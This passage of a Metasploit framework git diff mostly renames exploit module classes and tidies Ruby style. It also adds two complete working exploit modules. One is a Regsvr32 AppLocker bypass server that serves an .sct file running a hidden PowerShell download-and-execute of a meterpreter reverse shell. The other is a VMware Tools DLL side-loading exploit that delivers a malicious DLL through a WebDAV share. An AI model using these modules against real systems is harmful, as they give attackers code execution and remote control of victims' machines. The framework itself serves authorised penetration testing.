'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/misc/regsvr32_applocker_bypass_server.rb b/modules/exploits/windows/misc/regsvr32_applocker_bypass_server.rb new file mode 100644 index 0000000000..c2602e9b61 --- /dev/null +++ b/modules/exploits/windows/misc/regsvr32_applocker_bypass_server.rb @@ -0,0 +1,96 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ManualRanking + + include Msf::Exploit::Powershell + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Regsvr32.exe (.sct) Application Whitelisting Bypass Server', + 'Description' => %q( + This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique. + The module creates a web server that hosts an .sct file. When the user types the provided regsvr32 + command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command. + This command then downloads and executes the specified payload (similar to the web_delivery module with PSH). + Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port. + ), + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee) + 'Trenton Ivey', # MSF Module (kn0) + ], + 'DefaultOptions' => + { + 'Payload' => 'windows/meterpreter/reverse_tcp' + }, + 'Targets' => [['PSH', {}]], + 'Platform' => %w(win), + 'Arch' => [ARCH_X86, ARCH_X86_64], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Apr 19 2016', + 'References' => + [ + ['URL', 'http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html'] + ] + )) + end + + + def primer + print_status('Run the following command on the target machine:') + print_line("regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll") + end + + + def on_request_uri(cli, _request) + # If the resource request ends with '.sct', serve the .sct file + # Otherwise, serve the PowerShell payload + if _request.raw_uri =~ /\.sct$/ + serve_sct_file + else + serve_psh_payload + end + end + + + def serve_sct_file + print_status("Handling request for the .sct file from #{cli.peerhost}") + ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl + download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri) + download_and_run = "#{ignore_cert}#{download_string}" + psh_command = generate_psh_command_line( + noprofile: true, + windowstyle: 'hidden', + command: download_and_run + ) + data = gen_sct_file(psh_command) + send_response(cli, data, 'Content-Type' => 'text/plain') + end + + + def serve_psh_payload + print_status("Delivering payload to #{cli.peerhost}") + data = cmd_psh_payload(payload.encoded, + payload_instance.arch.first, + remove_comspec: true, + use_single_quotes: true + ) + send_response(cli,data,'Content-Type' => 'application/octet-stream') + end + + + def rand_class_id + "#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}" + end + + def gen_sct_file(command) + %{} + end + +end diff --git a/modules/exploits/windows/misc/sap_2005_license.rb b/modules/exploits/windows/misc/sap_2005_license.rb index 54caf13f2d..bd359502e7 100644 --- a/modules/exploits/windows/misc/sap_2005_license.rb +++ b/modules/exploits/windows/misc/sap_2005_license.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb b/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb index 0b08956557..99c952ef24 100644 --- a/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb +++ b/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/shixxnote_font.rb b/modules/exploits/windows/misc/shixxnote_font.rb index 1b536ec7a4..35326a2771 100644 --- a/modules/exploits/windows/misc/shixxnote_font.rb +++ b/modules/exploits/windows/misc/shixxnote_font.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb b/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb index c929b1db48..fb3049aa86 100644 --- a/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb +++ b/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/splayer_content_type.rb b/modules/exploits/windows/misc/splayer_content_type.rb index 988b83a081..42ab69a938 100644 --- a/modules/exploits/windows/misc/splayer_content_type.rb +++ b/modules/exploits/windows/misc/splayer_content_type.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/misc/stream_down_bof.rb b/modules/exploits/windows/misc/stream_down_bof.rb index 1d1237953b..6975c8e264 100644 --- a/modules/exploits/windows/misc/stream_down_bof.rb +++ b/modules/exploits/windows/misc/stream_down_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer diff --git a/modules/exploits/windows/misc/talkative_response.rb b/modules/exploits/windows/misc/talkative_response.rb index 4b867975e7..34f7cbf704 100644 --- a/modules/exploits/windows/misc/talkative_response.rb +++ b/modules/exploits/windows/misc/talkative_response.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer diff --git a/modules/exploits/windows/misc/tiny_identd_overflow.rb b/modules/exploits/windows/misc/tiny_identd_overflow.rb index cf947bc553..a12b6c76f8 100644 --- a/modules/exploits/windows/misc/tiny_identd_overflow.rb +++ b/modules/exploits/windows/misc/tiny_identd_overflow.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb b/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb index a7c7d48bfa..602dcce773 100644 --- a/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb +++ b/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/ufo_ai.rb b/modules/exploits/windows/misc/ufo_ai.rb index de6bdafa9a..fbfeab6bd0 100644 --- a/modules/exploits/windows/misc/ufo_ai.rb +++ b/modules/exploits/windows/misc/ufo_ai.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::TcpServer diff --git a/modules/exploits/windows/misc/vmhgfs_webdav_dll_sideload.rb b/modules/exploits/windows/misc/vmhgfs_webdav_dll_sideload.rb new file mode 100644 index 0000000000..f35be546c2 --- /dev/null +++ b/modules/exploits/windows/misc/vmhgfs_webdav_dll_sideload.rb @@ -0,0 +1,346 @@ +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DLL Side Loading Vulnerability in VMware Host Guest Client Redirector', + 'Description' => %q{ + A DLL side loading vulnerability was found in the VMware Host Guest Client Redirector, + a component of VMware Tools. This issue can be exploited by luring a victim into + opening a document from the attacker's share. An attacker can exploit this issue to + execute arbitrary code with the privileges of the target user. This can potentially + result in the attacker taking complete control of the affected system. If the WebDAV + Mini-Redirector is enabled, it is possible to exploit this issue over the internet. + }, + 'Author' => 'Yorick Koster', + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2016-5330'], + ['URL', 'https://securify.nl/advisory/SFY20151201/dll_side_loading_vulnerability_in_vmware_host_guest_client_redirector.html'], + ['URL', 'http://www.vmware.com/in/security/advisories/VMSA-2016-0010.html'], + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread' + }, + 'Payload' => { 'Space' => 2048, }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows x64', {'Arch' => ARCH_X86_64,} ], + [ 'Windows x86', {'Arch' => ARCH_X86,} ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Aug 5 2016', + 'DefaultTarget' => 0)) + + register_options( + [ + OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), + OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ]), + OptString.new('BASENAME', [ true, "The base name for the docx file", "Document1" ]), + OptString.new('SHARENAME', [ true, "The name of the top-level share", "documents" ]) + ], self.class) + + # no SSL + deregister_options('SSL', 'SSLVersion', 'SSLCert') + end + + + def on_request_uri(cli, request) + case request.method + when 'OPTIONS' + process_options(cli, request) + when 'PROPFIND' + process_propfind(cli, request) + when 'GET' + process_get(cli, request) + else + print_status("#{request.method} => 404 (#{request.uri})") + resp = create_response(404, "Not Found") + resp.body = "" + resp['Content-Type'] = 'text/html' + cli.send_response(resp) + end + end + + + def process_get(cli, request) + myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] + webdav = "\\\\#{myhost}\\" + + if (request.uri =~ /vmhgfs\.dll$/i) + print_status("GET => DLL Payload (#{request.uri})") + return if ((p = regenerate_payload(cli)) == nil) + data = generate_payload_dll({ :arch => target['Arch'], :code => p.encoded }) + send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) + return + end + + if (request.uri =~ /\.docx$/i) + print_status("GET => DOCX (#{request.uri})") + send_response(cli, "", { 'Content-Type' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' }) + return + end + + if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i) + print_status("GET => REDIRECT (#{request.uri})") + resp = create_response(200, "OK") + resp.body = %Q|| + resp['Content-Type'] = 'text/html' + cli.send_response(resp) + return + end + + print_status("GET => 404 (#{request.uri})") + resp = create_response(404, "Not Found") + resp.body = "" + cli.send_response(resp) + end + + # + # OPTIONS requests sent by the WebDav Mini-Redirector + # + def process_options(cli, request) + print_status("OPTIONS #{request.uri}") + headers = { + 'MS-Author-Via' => 'DAV', + 'DASL' => '', + 'DAV' => '1, 2', + 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', + 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK', + 'Cache-Control' => 'private' + } + resp = create_response(207, "Multi-Status") + headers.each_pair {|k,v| resp[k] = v } + resp.body = "" + resp['Content-Type'] = 'text/xml' + cli.send_response(resp) + end + + # + # PROPFIND requests sent by the WebDav Mini-Redirector + # + def process_propfind(cli, request) + path = request.uri + print_status("PROPFIND #{path}") + body = '' + + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] + my_uri = "http://#{my_host}/" + + if path !~ /\/$/ + + if blacklisted_path?(path) + print_status "PROPFIND => 404 (#{path})" + resp = create_response(404, "Not Found") + resp.body = "" + cli.send_response(resp) + return + end + + if path.index(".") + print_status "PROPFIND => 207 File (#{path})" + body = %Q| + + +#{path} + + + +#{gen_datestamp} +#{rand(0x100000)+128000} +#{gen_timestamp} +"#{"%.16x" % rand(0x100000000)}" +T + + + + + + + + + + + +application/octet-stream + +HTTP/1.1 200 OK + + + +| + # send the response + resp = create_response(207, "Multi-Status") + resp.body = body + resp['Content-Type'] = 'text/xml; charset="utf8"' + cli.send_response(resp) + return + else + print_status "PROPFIND => 301 (#{path})" + resp = create_response(301, "Moved") + resp["Location"] = path + "/" + resp['Content-Type'] = 'text/html' + cli.send_response(resp) + return + end + end + + print_status "PROPFIND => 207 Directory (#{path})" + body = %Q| + + +#{path} + + + +#{gen_datestamp} +#{gen_timestamp} +"#{"%.16x" % rand(0x100000000)}" + + + + + + + + + + + +httpd/unix-directory + +HTTP/1.1 200 OK + + +| + + if request["Depth"].to_i > 0 + trail = path.split("/") + trail.shift + case trail.length + when 0 + body << generate_shares(path) + when 1 + body << generate_files(path) + end + else + print_status "PROPFIND => 207 Top-Level Directory" + end + + body << "" + + body.gsub!(/\t/, '') + + # send the response + resp = create_response(207, "Multi-Status") + resp.body = body + resp['Content-Type'] = 'text/xml; charset="utf8"' + cli.send_response(resp) + end + + def generate_shares(path) + share_name = datastore['SHARENAME'] +%Q| + +#{path}#{share_name}/ + + + +#{gen_datestamp} +#{gen_timestamp} +"#{"%.16x" % rand(0x100000000)}" + + + + + + + + + + + +httpd/unix-directory + +HTTP/1.1 200 OK + + +| + end + + def generate_files(path) + trail = path.split("/") + return "" if trail.length < 2 + + %Q| + +#{path}#{datastore['BASENAME']}.docx + + + +#{gen_datestamp} +#{rand(0x10000)+120} +#{gen_timestamp} +"#{"%.16x" % rand(0x100000000)}" +T + + + + + + + + + + + +application/octet-stream + +HTTP/1.1 200 OK + + +| + end + + def gen_timestamp(ttype=nil) + ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT") + end + + def gen_datestamp(ttype=nil) + ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ") + end + + # This method rejects requests that are known to break exploitation + def blacklisted_path?(uri) + return true if uri =~ /\.exe/i + return true if uri =~ /\.(config|manifest)/i + return true if uri =~ /desktop\.ini/i + return true if uri =~ /lib.*\.dll/i + return true if uri =~ /\.tmp$/i + return true if uri =~ /(pcap|packet)\.dll/i + false + end + + def exploit + + myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'] + + @exploit_unc = "\\\\#{myhost}\\" + + if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' + fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') + end + + print_status("Files are available at #{@exploit_unc}#{datastore['SHARENAME']}") + + super + end +end diff --git a/modules/exploits/windows/misc/windows_rsh.rb b/modules/exploits/windows/misc/windows_rsh.rb index d6acee9bb0..8db7d2160c 100644 --- a/modules/exploits/windows/misc/windows_rsh.rb +++ b/modules/exploits/windows/misc/windows_rsh.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/wireshark_lua.rb b/modules/exploits/windows/misc/wireshark_lua.rb index 34fe258f61..2038a67811 100644 --- a/modules/exploits/windows/misc/wireshark_lua.rb +++ b/modules/exploits/windows/misc/wireshark_lua.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/misc/wireshark_packet_dect.rb b/modules/exploits/windows/misc/wireshark_packet_dect.rb index 18d24e0ecc..4ac2312823 100644 --- a/modules/exploits/windows/misc/wireshark_packet_dect.rb +++ b/modules/exploits/windows/misc/wireshark_packet_dect.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Capture diff --git a/modules/exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb b/modules/exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb index c20731b6f7..702c4c0e37 100644 --- a/modules/exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb +++ b/modules/exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/motorola/timbuktu_fileupload.rb b/modules/exploits/windows/motorola/timbuktu_fileupload.rb index 178db155a1..8b7959b40c 100644 --- a/modules/exploits/windows/motorola/timbuktu_fileupload.rb +++ b/modules/exploits/windows/motorola/timbuktu_fileupload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb b/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb index a4bb8bffe2..f16938f734 100644 --- a/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb +++ b/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MSSQL diff --git a/modules/exploits/windows/mssql/ms02_039_slammer.rb b/modules/exploits/windows/mssql/ms02_039_slammer.rb index bebd9c7c2d..cf6ca68dcc 100644 --- a/modules/exploits/windows/mssql/ms02_039_slammer.rb +++ b/modules/exploits/windows/mssql/ms02_039_slammer.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::MSSQL diff --git a/modules/exploits/windows/mssql/ms02_056_hello.rb b/modules/exploits/windows/mssql/ms02_056_hello.rb index 91180f3205..4016a5c781 100644 --- a/modules/exploits/windows/mssql/ms02_056_hello.rb +++ b/modules/exploits/windows/mssql/ms02_056_hello.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::MSSQL diff --git a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb index fa9004658b..fda5bfcd30 100644 --- a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb +++ b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::MSSQL @@ -377,7 +377,7 @@ exec sp_executesql @z| runme.gsub!(/%STUFF%/, enc) # go! - if (not mssql_login_datastore) + if !mssql_login_datastore fail_with(Failure::NoAccess, "Unable to log in!") end begin @@ -452,7 +452,7 @@ exec sp_executesql @z| return nil end - if (not logged_in) + if !logged_in fail_with(Failure::NoAccess, "Invalid SQL Server credentials") end res = mssql_query("select @@version", datastore['VERBOSE']) diff --git a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb index 320da58665..ebf8b5f23c 100644 --- a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb +++ b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MSSQL_SQLI diff --git a/modules/exploits/windows/mssql/mssql_linkcrawler.rb b/modules/exploits/windows/mssql/mssql_linkcrawler.rb index e9bc7580e0..96eb1c4403 100644 --- a/modules/exploits/windows/mssql/mssql_linkcrawler.rb +++ b/modules/exploits/windows/mssql/mssql_linkcrawler.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/exploit/mssql_commands' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::MSSQL @@ -61,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptBool.new('DEPLOY', [false, 'Deploy payload via the sysadmin links', 'false']), + OptBool.new('DEPLOY', [false, 'Deploy payload via the sysadmin links', false]), OptString.new('DEPLOYLIST', [false,'Comma seperated list of systems to deploy to']), OptString.new('PASSWORD', [true, 'The password for the specified username']) ], self.class) @@ -82,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote # Check if credentials are correct print_status("Attempting to connect to SQL Server at #{rhost}:#{rport}...") - if (not mssql_login_datastore) + if !mssql_login_datastore print_error("Invalid SQL Server credentials") print_status("-------------------------------------------------") return @@ -111,7 +111,7 @@ class Metasploit3 < Msf::Exploit::Remote master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server')as linkcount" # Create loot table to store configuration information from crawled database server links - linked_server_table = Rex::Ui::Text::Table.new( + linked_server_table = Rex::Text::Table.new( 'Header' => 'Linked Server Table', 'Indent' => 1, 'Columns' => ['db_server', 'db_version', 'db_os', 'link_server', 'link_user', 'link_privilege', 'link_version', 'link_os','link_state'] @@ -137,7 +137,7 @@ class Metasploit3 < Msf::Exploit::Remote } if masterList.length == 1 print_good("Successfully connected to #{server["name"]}") - if datastore['VERBOSE'] == true + if datastore['VERBOSE'] show_configs(server["name"],parse_results,true) elsif server["db_sysadmin"] == 1 print_good("Sysadmin on #{server["name"]}") @@ -185,7 +185,7 @@ class Metasploit3 < Msf::Exploit::Remote write_to_report(name,server,parse_results,linked_server_table,link_status) # Display link server information in verbose mode - if datastore['VERBOSE'] == true + if datastore['VERBOSE'] show_configs(name,parse_results) print_status(" o Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}") else @@ -219,7 +219,7 @@ class Metasploit3 < Msf::Exploit::Remote linked_server_table << [server["name"],server["db_version"],server["db_os"],name,'NA','NA','NA','NA','Connection Failed'] # Display status to user - if datastore['VERBOSE'] == true + if datastore['VERBOSE'] print_status(" ") print_error("Linked Server: #{name} ") print_error(" o Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed") @@ -435,14 +435,14 @@ class Metasploit3 < Msf::Exploit::Remote if datastore['DEPLOYLIST']=="" datastore['DEPLOYLIST'] = nil end - if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true + if !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"] print_status("\t - Checking if #{name} is on the deploy list...") end if datastore['DEPLOYLIST'] != nil deploylist = datastore['DEPLOYLIST'].upcase.split(',') end if datastore['DEPLOYLIST'] == nil or deploylist.include? name.upcase - if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true + if !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"] print_status("\t - #{name} is on the deploy list.") end unless shelled.include?(name) @@ -451,7 +451,7 @@ class Metasploit3 < Msf::Exploit::Remote else print_status("Payload already deployed on #{name}") end - elsif datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true + elsif !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"] print_status("\t - #{name} is not on the deploy list") end end diff --git a/modules/exploits/windows/mssql/mssql_payload.rb b/modules/exploits/windows/mssql/mssql_payload.rb index d5ebe45d04..7fa63780fa 100644 --- a/modules/exploits/windows/mssql/mssql_payload.rb +++ b/modules/exploits/windows/mssql/mssql_payload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MSSQL @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote end def check - if (not mssql_login_datastore) + if !mssql_login_datastore vprint_status("Invalid SQL Server credentials") return Exploit::CheckCode::Detected end @@ -93,7 +93,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit - if (not mssql_login_datastore) + if !mssql_login_datastore print_status("Invalid SQL Server credentials") return end diff --git a/modules/exploits/windows/mssql/mssql_payload_sqli.rb b/modules/exploits/windows/mssql/mssql_payload_sqli.rb index 4ab1c8beb6..ae7a014bd5 100644 --- a/modules/exploits/windows/mssql/mssql_payload_sqli.rb +++ b/modules/exploits/windows/mssql/mssql_payload_sqli.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MSSQL_SQLI diff --git a/modules/exploits/windows/mysql/mysql_mof.rb b/modules/exploits/windows/mysql/mysql_mof.rb index 9c292c9619..b725efdf71 100644 --- a/modules/exploits/windows/mysql/mysql_mof.rb +++ b/modules/exploits/windows/mysql/mysql_mof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MYSQL diff --git a/modules/exploits/windows/mysql/mysql_payload.rb b/modules/exploits/windows/mysql/mysql_payload.rb index 46db38c85c..ec4908d59a 100644 --- a/modules/exploits/windows/mysql/mysql_payload.rb +++ b/modules/exploits/windows/mysql/mysql_payload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MYSQL diff --git a/modules/exploits/windows/mysql/mysql_start_up.rb b/modules/exploits/windows/mysql/mysql_start_up.rb index 5628daeca3..e327a41670 100644 --- a/modules/exploits/windows/mysql/mysql_start_up.rb +++ b/modules/exploits/windows/mysql/mysql_start_up.rb @@ -4,7 +4,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MYSQL diff --git a/modules/exploits/windows/mysql/mysql_yassl_hello.rb b/modules/exploits/windows/mysql/mysql_yassl_hello.rb index 8117dfec8f..b1f4985272 100644 --- a/modules/exploits/windows/mysql/mysql_yassl_hello.rb +++ b/modules/exploits/windows/mysql/mysql_yassl_hello.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb index 44eb354357..7eb98360a0 100644 --- a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb +++ b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MYSQL diff --git a/modules/exploits/windows/nfs/xlink_nfsd.rb b/modules/exploits/windows/nfs/xlink_nfsd.rb index 0811a8ec5c..7f36adb06e 100644 --- a/modules/exploits/windows/nfs/xlink_nfsd.rb +++ b/modules/exploits/windows/nfs/xlink_nfsd.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/nntp/ms05_030_nntp.rb b/modules/exploits/windows/nntp/ms05_030_nntp.rb index d1e2bd80c7..cf5ffbafb5 100644 --- a/modules/exploits/windows/nntp/ms05_030_nntp.rb +++ b/modules/exploits/windows/nntp/ms05_030_nntp.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer diff --git a/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb b/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb index 79b9157845..f804a1afeb 100644 --- a/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb +++ b/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/novell/groupwisemessenger_client.rb b/modules/exploits/windows/novell/groupwisemessenger_client.rb index 212d81188d..d93490f75f 100644 --- a/modules/exploits/windows/novell/groupwisemessenger_client.rb +++ b/modules/exploits/windows/novell/groupwisemessenger_client.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include 